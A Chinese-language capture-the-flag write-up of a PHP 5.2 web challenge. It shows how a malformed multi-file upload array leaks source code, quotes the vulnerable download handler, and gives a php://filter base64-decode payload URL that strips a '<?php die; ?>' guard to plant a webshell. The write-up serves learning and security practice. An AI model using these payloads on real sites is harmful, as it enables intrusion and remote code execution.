0x00 前言

L.N.师傅的这道题有点厉害,神奇的上传漏洞和有趣的Get Shell思路让人脑洞小开,从中学习到了很多有趣的东西特此小记。

由于第一集没有做出来,所以这次玩的是续集: [续集]火币网2W大挑战

1
2
3
4
由于乌云大会上无人解出此题,继续放出等待,有缘人获取火币网赞助价值2w人民币的比特币。 
tips:
1. 多文件上传,php源码对数组键值处理错误导致安全漏洞
2. base64解码导致字符丢失

两个Tips,一个是读取源码的,另一个是绕过<?php die();?>拿Shell的。

0x01 前期准备

首先来一发扫描目录

1
2
3
4
5
6
7
8
9
[17:41:36] 403 -  313B  - /cgi-bin/                                      
[17:41:36] 200 - 0B - /config.php
[17:41:37] 301 - 360B - /css -> http://464e9b54c7a12250a.jie.sangebaimao.com/css/
[17:41:39] 301 - 363B - /images -> http://464e9b54c7a12250a.jie.sangebaimao.com/images/
[17:41:39] 200 - 4KB - /index.php
[17:41:39] 200 - 4KB - /index.php/login/
[17:41:39] 301 - 359B - /js -> http://464e9b54c7a12250a.jie.sangebaimao.com/js/
[17:41:42] 200 - 41KB - /phpinfo.php
[17:41:45] 301 - 363B - /upload -> http://464e9b54c7a12250a.jie.sangebaimao.com/upload/

从中得知有phpinfo.php这个文件,于是乎访问phpinfo.php之。

phpinfo

得到了一个重要信息PHP Version 5.2.18-dev,这个PHP版本很老,结合Tips可知旧版本上传安全检查不严导致的漏洞产生。

0x02 上传之读取源码

这个神奇的上传洞,大致原理就是低版本php上传部分对数组没有严格校验有安全漏洞,导致构造恶意数组会使上传内容错乱(在此则是上传的内容变成我们读取的文件的内容)。

这个地方有两个套路,一个是程序自身带有输出文件内容导致源码泄露(局限较大);另一个则是漏洞会把我们要读取文件的内容变成我们上传的内容,写到txt文件后就可读取源码了(知道上传路径即可获取源码)。

我们发现上传完一个文件后,底部会输出我们文件内容的base64加密后的密文,于是我们的套路一在此可用。

After Uploading

构造缺陷数组,进行攻击。

Upload Attack

结果在返回的数据,可以看到我们可以读取index.php的内容,这就是套路一,成功获得了整站源码。

套路二

在进一步测试之后,发现点击完下载作业,把我们上传的代码转存到本地的时候,访问upload/b3.txt看到了有趣的一幕。

Source of index.php

PHP内部发生了奇妙的变化,使得上传的内容被替换成了目标文件index.php的源代码,这就是套路二。

获取完源代码之后开始尝试利用Tips2获得Shell。

0x03 二次解密显真容

经过我们仔细研究,发现了一个可控的点做一些羞羞的事情。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
if(isset($_GET['download']) and isset($_GET['filename']))
{
$download = addslashes(htmlspecialchars_decode($_GET['download']));
$filename = addslashes(htmlspecialchars_decode($_GET['filename']));

# $_GET['filename'] = 'php://filter/write=convert.base64-decode/resource=upload/davex.php';
# echo addslashes(htmlspecialchars_decode($_GET['filename']));"
# Output: php://filter/write=convert.base64-decode/resource=upload/davex.php

if(file_exists($filename))
{
unlink($filename);
}
$sql = "select content from homework where id='$download'";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result))
{

$devalContents = "<?php die; ?>\n";
$devalContents .= base64_decode($row['content']);
file_put_contents("$filename",$devalContents);
$filename = str_replace("upload/",'',$filename);
header("location:upload/".urlencode($filename));
}
$sql = "delete from homework where id='$download';";
if(!mysql_query($sql))
{
die("hello hacker!");
}

}

这部分代码中,我们见到file_put_contents函数,又发现$filename是可控的,结合phpinfo中支持php伪协议,我们可以利用php伪协议搞事情。

Interesting Protocol

于是乎,根据L.N.师傅的提醒,我们Get Shell的大致思路就出来了。

上传\n\r[换行符]base64_encode(shell)->点击下载作业,把base64_encode(shell)写到upload/davex.php->php伪协议base64_decode(die + base64_encode(shell)

这样子die就变成了乱码,后面的shell就显示出来真容。

我们开始上传:

1
2
3
4
upload/davex.php
<?php die; ?>
\n\r
base64_encode(shell)

Get Shell

我们再上传一次shell,然后利用可控的$filename,我们使用php伪协议操作文件,把upload/davex.php解密一次。

1
2
3
payload = php://filter/write=convert.base64-decode/resource=upload/davex.php

http://464e9b54c7a12250a.jie.sangebaimao.com/index.php?download=3576&filename=php://filter/write=convert.base64-decode/resource=upload/davex.php

Shell

(前面的乱码就是<?php die();?>,忽略运营商劫持插入的js文件)

这部分的原理我和Veneno师傅和Aklis师傅研究了一个晚上,实验之后了解了这个协议和这个函数的大致用法。

我们上传两个文件,一个是shell.txt(里面是\n\r[换行符]base64_encode(shell)),一个是blank.php(空文件)。

1
2
3
4
5
6
payload: index.php?download=[shell.txt id]&filename=php://filter/write=convert.base64-decode/resource=upload/blank.php

file_put_contents("$filename",$devalContents);

# file_put_contents("php://filter/write=convert.base64-decode/resource=upload/blank.php
",[shell.txt的内容]);

也就是说覆盖blank.php,其内容是shell.txt的内容base64_decode,于是乎我们的blank.php被覆盖成我们的shell了。

这次的题目让人大开眼界,尤其是0x01的利用,感谢挑战者联盟中的师傅们的帮助,也感谢L.N.师傅和三个白帽让大家有一个开脑洞的机会。

0x04 相关资料

PHP: $_FILES - php.net

PHP: php:// - php.net

LFI、RFI、PHP封装协议安全问题学习 - .Little Hann